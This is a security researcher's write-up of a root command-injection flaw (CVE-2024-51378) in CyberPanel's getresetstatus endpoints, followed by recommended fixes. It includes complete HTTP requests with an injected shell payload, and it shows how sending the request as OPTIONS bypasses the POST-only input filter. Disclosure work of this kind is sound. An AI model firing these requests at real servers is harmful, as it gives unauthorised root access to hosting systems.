Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing
In the ever-evolving landscape of web applications, security remains a top concern. As an avid user and supporter of open-source projects, I was drawn to CyberPanel, a widely-used control panel for managing web hosting and server environments. Little did I know that my exploration would lead me down a rabbit hole, revealing a critical command injection vulnerability!
Setting the Scene: What is CyberPanel?
CyberPanel is an open-source web hosting control panel that aims to simplify the management of servers. It’s packed with features, offering everything from file management to SSL management, making it a go-to choice for many developers and system administrators. However, like any powerful tool, it requires vigilance to ensure security measures are robust.
The Discovery: Unearthing the Vulnerability
While diving into the functionality of CyberPanel, I stumbled upon the /ftp/getresetstatus
endpoint. At first glance, it appeared innocuous enough, handling user requests with ease. However, a closer inspection revealed a critical flaw: this endpoint processes user input from the statusfile
parameter without proper validation or sanitization, creating a tempting opportunity for remote command injection.
The Vulnerable Code
The vulnerability exists in the /ftp/getresetstatus
endpoint, which processes user input from the statusfile
parameter. The code directly incorporates this input into a shell command without proper validation or access control. Here’s a simplified version of the vulnerable code:
def getresetstatus(request):
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
...
As illustrated, the statusfile
parameter is directly used in a shell command, creating a significant opportunity for remote command injection. Moreover, this endpoint lacks proper Access Control Lists (ACLs), leaving it vulnerable to unauthorized access.
Step 1: Initial Testing
My journey began by testing the /ftp/getresetstatus
endpoint using a POST request. I crafted a request designed to execute the whoami
command, ensuring to include the necessary CSRF token for validation:
POST /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48
{
"statusfile": "; whoami; #"
}
Upon sending the request, the security middleware sprang into action and blocked it, returning the following response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Accept-Language, Cookie
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Content-Length: 269
Date: Wed, 23 Oct 2024 10:52:35 GMT
Server: LiteSpeed
Connection: Keep-Alive
{"error_message": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >.", "errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : \u2018 < >."}
The middleware effectively checked for special characters in POST request bodies, but it did not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.
Step 2: Analyzing the Security Middleware
Curious about the middleware’s behavior, I dug deeper into the source code. The relevant security middleware checks for specific characters in POST request bodies. Here’s a simplified version of the security middleware code:
class secMiddleware:
def __call__(self, request):
if request.method == 'POST':
try:
data = json.loads(request.body)
for key, value in data.items():
# Check for special characters
if any(char in value for char in [';', '&', '|', '`']):
# Log and block the request
return HttpResponse("Invalid input detected.")
except Exception as msg:
# Handle exceptions
pass
return self.get_response(request)
The middleware effectively checks for potentially harmful characters in POST requests, but it does not apply the same scrutiny to other HTTP methods. This was the critical insight I needed.
Step 3: The Bypass Discovery
Realizing that the middleware was not enforcing the same checks for OPTIONS requests, I decided to exploit this oversight. I crafted an OPTIONS request with my malicious payload, ensuring to include all relevant headers just like the POST request:
OPTIONS /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48
{
"statusfile": "; whoami; #"
}
Step 4: Triggering the Vulnerability
To my surprise, the OPTIONS request successfully passed through the security middleware without any validation, executing the command on the server. This allowed me to retrieve sensitive information, and I received the following response confirming the successful exploitation:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Content-Security-Policy: style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 64
Date: Wed, 23 Oct 2024 10:57:29 GMT
Server: LiteSpeed
Connection: Keep-Alive
{"abort": 0, "error_message": "None", "requestStatus": "root\n"}
In this response, the requestStatus
indicates that the command was executed with root privileges, highlighting the severity of the vulnerability.
Recommendations for Fixing the Vulnerability
Having discovered this vulnerability, it’s crucial to act quickly to secure the application. Here are a few recommendations for CyberPanel developers:
Implement Input Validation: Ensure all user inputs are validated and sanitized before being used in any shell commands.
Utilize Access Control Lists (ACLs): Add ACLs to the
/ftp/getresetstatus
endpoint to restrict access and limit exposure to potential exploits.Review Other Endpoints: Conduct a thorough audit of other sensitive endpoints to identify any similar vulnerabilities or missing ACLs.
Restrict HTTP Methods: Limit the allowed HTTP methods for sensitive endpoints. In particular, restrict the
/ftp/getresetstatus
endpoint to only allow POST requests, which should also pass through strict input validation.Enhance Security Middleware: Update the security middleware to inspect all HTTP methods, including OPTIONS, to ensure no bypassing of security checks is possible.
PoC: CVE-2024-51378 PoC Repository
Note:
Exact same vulnerability applies to /dns/getresetstatus endpoint.
Conclusion: The Fun in Finding Flaws
Finding this vulnerability in CyberPanel was both a challenge and a rewarding experience. It not only honed my skills in security testing but also reminded me of the importance of community in open-source projects. I encourage other developers and security researchers to dive into CyberPanel and similar applications—who knows what hidden gems (or vulnerabilities) you might find!
Happy testing!